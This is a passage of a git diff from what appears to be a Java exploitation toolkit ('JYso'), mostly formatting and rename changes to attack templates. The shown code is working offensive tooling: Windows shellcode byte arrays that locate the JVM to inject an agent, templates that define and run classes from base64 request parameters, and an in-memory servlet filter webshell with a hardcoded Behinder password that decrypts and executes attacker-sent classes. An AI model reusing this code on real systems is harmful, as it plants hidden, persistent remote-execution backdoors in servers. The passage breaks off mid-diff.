0x74, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4C, (byte) 0x89, (byte) 0xF9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x18, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xC8, (byte) 0x49, (byte) 0x83, (byte) 0xC0, (byte) 0x08, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x8B, (byte) 0x09, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x54, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x4C, (byte) 0x8B, (byte) 0x39, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x20, (byte) 0x49, (byte) 0x89, (byte) 0xCE, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x48, (byte) 0xBA, (byte) 0x48, (byte) 0x47, (byte) 0x46, (byte) 0x45, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x41, (byte) 0xB8, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x20, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x78, (byte) 0xC3}; + byte[] buf = new byte[]{(byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x41, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x40, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x96, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x8B, (byte) 0x58, (byte) 0x20, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x44, (byte) 0x8B, (byte) 0x43, (byte) 0x3C, (byte) 0x4C, (byte) 0x89, (byte) 0xC2, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x44, (byte) 0x8B, (byte) 0x82, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x01, (byte) 0xD8, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x49, (byte) 0xB9, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x48, (byte) 0xFF, (byte) 0xC1, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0x8B, (byte) 0x04, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xD8, (byte) 0x4C, (byte) 0x39, (byte) 0x08, (byte) 0x75, (byte) 0xEF, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x24, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x1C, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x48, (byte) 0x89, (byte) 0xD7, (byte) 0xB9, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x48, (byte) 0x89, (byte) 0xD9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x48, (byte) 0x89, (byte) 0xC6, (byte) 0xB9, (byte) 0x6C, (byte) 0x6C, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0xB9, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD6, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0xB9, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x73, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4C, (byte) 0x89, (byte) 0xF9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x18, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xC8, (byte) 0x49, (byte) 0x83, (byte) 0xC0, (byte) 0x08, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x8B, (byte) 0x09, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x54, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x4C, (byte) 0x8B, (byte) 0x39, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x20, (byte) 0x49, (byte) 0x89, (byte) 0xCE, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x48, (byte) 0xBA, (byte) 0x48, (byte) 0x47, (byte) 0x46, (byte) 0x45, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x41, (byte) 0xB8, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x20, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x78, (byte) 0xC3}; byte[] stub = new byte[]{0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41}; if (pointerLength == 4) { buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3}; @@ -56,13 +56,13 @@ public class WinMenshell { unsafe.putByte(native_jvmtienv + 361, (byte) 2); } try { - Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); - Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); constructor.setAccessible(true); Object inst = constructor.newInstance(JPLISAgent, true, false); - ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); - Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); + ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); redefineClazz.invoke(inst, new Object[]{ new ClassDefinition[]{ definition diff --git a/src/main/java/com/qi4l/JYso/template/Agent/utli/ClassModifier.java b/src/main/java/com/qi4l/JYso/template/Agent/utli/ClassModifier.java index a94aa33..77976f3 100644 --- a/src/main/java/com/qi4l/JYso/template/Agent/utli/ClassModifier.java +++ b/src/main/java/com/qi4l/JYso/template/Agent/utli/ClassModifier.java @@ -23,14 +23,14 @@ public class ClassModifier { return null; } - String targetClassName = classObj.get(0).toString(); - byte[] targetClassBody = (byte[]) classObj.get(1); - ClassPool cp = ClassPool.getDefault(); + String targetClassName = classObj.get(0).toString(); + byte[] targetClassBody = (byte[]) classObj.get(1); + ClassPool cp = ClassPool.getDefault(); cp.insertClassPath(new ByteArrayClassPath(targetClassName, targetClassBody)); CtClass targetClass = cp.get(targetClassName); - String methodName = HOOK_CLASS_INFORMATION_MAP.get(1); - String[] paramList = HOOK_CLASS_INFORMATION_MAP.get(2).split(","); + String methodName = HOOK_CLASS_INFORMATION_MAP.get(1); + String[] paramList = HOOK_CLASS_INFORMATION_MAP.get(2).split(","); List paramClasses = new ArrayList(); for (String param : paramList) { @@ -56,8 +56,8 @@ public class ClassModifier { // 用 Javassist 获取目标环境中,目标类的类字节码 String className = HOOK_CLASS_INFORMATION_MAP.get(0); classPool.insertClassPath(new ClassClassPath(Thread.currentThread().getContextClassLoader().loadClass(className))); - CtClass targetClass = classPool.get(className); - List obj = new ArrayList(); + CtClass targetClass = classPool.get(className); + List obj = new ArrayList(); obj.add(className); obj.add(targetClass.toBytecode()); targetClass.detach(); @@ -68,7 +68,7 @@ public class ClassModifier { } public static String base64Decode(String bs) throws Exception { - Class base64; + Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); diff --git a/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLConnection.java b/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLConnection.java index a3d1203..156aa41 100644 --- a/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLConnection.java +++ b/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLConnection.java @@ -59,7 +59,7 @@ public class SuURLConnection extends URLConnection { protected SuURLConnection(URL url) { super(url); String file = url.getFile(); - int pos = file.indexOf(47); + int pos = file.indexOf(47); synchronized (FILES) { this.DATA = (byte[]) ((byte[]) FILES.get(Integer.parseInt(file.substring(0, pos)))); } diff --git a/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLStreamHandler.java b/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLStreamHandler.java index eda1b58..20a0294 100644 --- a/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLStreamHandler.java +++ b/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLStreamHandler.java @@ -24,7 +24,7 @@ public class SuURLStreamHandler { */ protected URLConnection openConnection(URL u) throws IOException { try { - Class clazz = Class.forName(URL_CONNECTION_CLASSNAME); + Class clazz = Class.forName(URL_CONNECTION_CLASSNAME); Constructor constructor = clazz.getDeclaredConstructor(URL.class); constructor.setAccessible(true); return (URLConnection) constructor.newInstance(u); diff --git a/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java b/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java index c72d954..d6530a0 100644 --- a/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java @@ -20,16 +20,16 @@ public class ClassLoaderTemplate { try { // 初始化 initClassBytes(); - GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(base64Decode(b64))); + GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(base64Decode(b64))); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); - byte[] bs = new byte[4096]; - int read; + byte[] bs = new byte[4096]; + int read; while ((read = gzipInputStream.read(bs)) != -1) { byteArrayOutputStream.write(bs, 0, read); } - byte[] bytes = byteArrayOutputStream.toByteArray(); + byte[] bytes = byteArrayOutputStream.toByteArray(); ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); - Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); invoke.newInstance(); @@ -63,7 +63,7 @@ public class ClassLoaderTemplate { } public static byte[] base64Decode(String bs) throws Exception { - Class base64; + Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); diff --git a/src/main/java/com/qi4l/JYso/template/CommandTemplate.java b/src/main/java/com/qi4l/JYso/template/CommandTemplate.java index fe7cfa4..747bfa4 100644 --- a/src/main/java/com/qi4l/JYso/template/CommandTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/CommandTemplate.java @@ -1,7 +1,7 @@ package com.qi4l.JYso.template; import com.qi4l.JYso.gadgets.utils.Cache; -import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.Utils; import org.objectweb.asm.*; import static org.objectweb.asm.Opcodes.*; @@ -13,7 +13,7 @@ public class CommandTemplate implements Template { public CommandTemplate(String cmd) { this.cmd = cmd; - this.className = "Exploit" + Util.getRandomString(); + this.className = "Exploit" + Utils.getRandomString(); generate(); } @@ -38,9 +38,9 @@ public class CommandTemplate implements Template { } public void generate() { - ClassWriter cw = new ClassWriter(0); - FieldVisitor fv; - MethodVisitor mv; + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; AnnotationVisitor av0; cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); diff --git a/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java b/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java index 606aafe..9ac95c4 100644 --- a/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java +++ b/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java @@ -11,9 +11,9 @@ public class DefineClassFromParameter { static { try { - boolean flag = false; - ThreadGroup group = Thread.currentThread().getThreadGroup(); - java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); f.setAccessible(true); Thread[] threads = (Thread[]) f.get(group); for (int i = 0; i < threads.length; i++) { @@ -51,12 +51,12 @@ public class DefineClassFromParameter { f = processor.getClass().getDeclaredField("req"); f.setAccessible(true); - Object req = f.get(processor); - Object note = req.getClass().getMethod("getNote", new Class[]{Integer.TYPE}).invoke(req, new Object[]{new Integer(1)}); + Object req = f.get(processor); + Object note = req.getClass().getMethod("getNote", new Class[]{Integer.TYPE}).invoke(req, new Object[]{new Integer(1)}); String payload = (String) note.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(note, new Object[]{parameter}); if (payload != null && !payload.isEmpty()) { - byte[] classBytes = base64Decode(payload); - java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + byte[] classBytes = base64Decode(payload); + java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); method.setAccessible(true); Class clazz = (Class) method.invoke(DefineClassFromParameter.class.getClassLoader(), classBytes, new Integer(0), new Integer(classBytes.length)); clazz.newInstance(); @@ -74,7 +74,7 @@ public class DefineClassFromParameter { } public static byte[] base64Decode(String bs) { - Class base64; + Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); diff --git a/src/main/java/com/qi4l/JYso/template/DnslogTemplate.java b/src/main/java/com/qi4l/JYso/template/DnslogTemplate.java index 442ce02..8cb50f2 100644 --- a/src/main/java/com/qi4l/JYso/template/DnslogTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/DnslogTemplate.java @@ -1,7 +1,7 @@ package com.qi4l.JYso.template; import com.qi4l.JYso.gadgets.utils.Cache; -import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.Utils; import org.objectweb.asm.*; import static org.objectweb.asm.Opcodes.*; @@ -14,7 +14,7 @@ public class DnslogTemplate implements Template { public DnslogTemplate(String dnslog) { this.dnslog = dnslog; - this.className = "Exploit" + Util.getRandomString(); + this.className = "Exploit" + Utils.getRandomString(); generate(); } @@ -39,9 +39,9 @@ public class DnslogTemplate implements Template { } public void generate() { - ClassWriter cw = new ClassWriter(0); - FieldVisitor fv; - MethodVisitor mv; + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; AnnotationVisitor av0; cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); diff --git a/src/main/java/com/qi4l/JYso/template/DynamicFilterTemplate.java b/src/main/java/com/qi4l/JYso/template/DynamicFilterTemplate.java index 1e16ca0..0ad170a 100644 --- a/src/main/java/com/qi4l/JYso/template/DynamicFilterTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/DynamicFilterTemplate.java @@ -14,10 +14,10 @@ import java.util.Scanner; public class DynamicFilterTemplate implements Filter { - private Class myClassLoaderClazz; - private String basicCmdShellPwd = "pass"; + private Class myClassLoaderClazz; + private String basicCmdShellPwd = "pass"; private String behinderShellHeader = "X-Options-Ai"; - private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond + private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond public DynamicFilterTemplate() { super(); @@ -55,9 +55,9 @@ public class DynamicFilterTemplate implements Filter { Cipher cipher = Cipher.getInstance("AES"); cipher.init(2, new SecretKeySpec((((HttpServletRequest) servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine())); - Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); - Object evilObject = evilClass.newInstance(); - Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); + Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); + Object evilObject = evilClass.newInstance(); + Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse}); } } catch (Exception e) { @@ -79,8 +79,8 @@ public class DynamicFilterTemplate implements Filter { try { this.myClassLoaderClazz = classLoader.loadClass("com.qi4l.JYso.template.MyClassLoader"); } catch (ClassNotFoundException e) { - String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; - byte[] bytes = new BASE64Decoder().decodeBuffer(code); + String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; + byte[] bytes = new BASE64Decoder().decodeBuffer(code); Method method = null; try { method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); diff --git a/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java b/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java index 393a7ca..0095050 100644 --- a/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java +++ 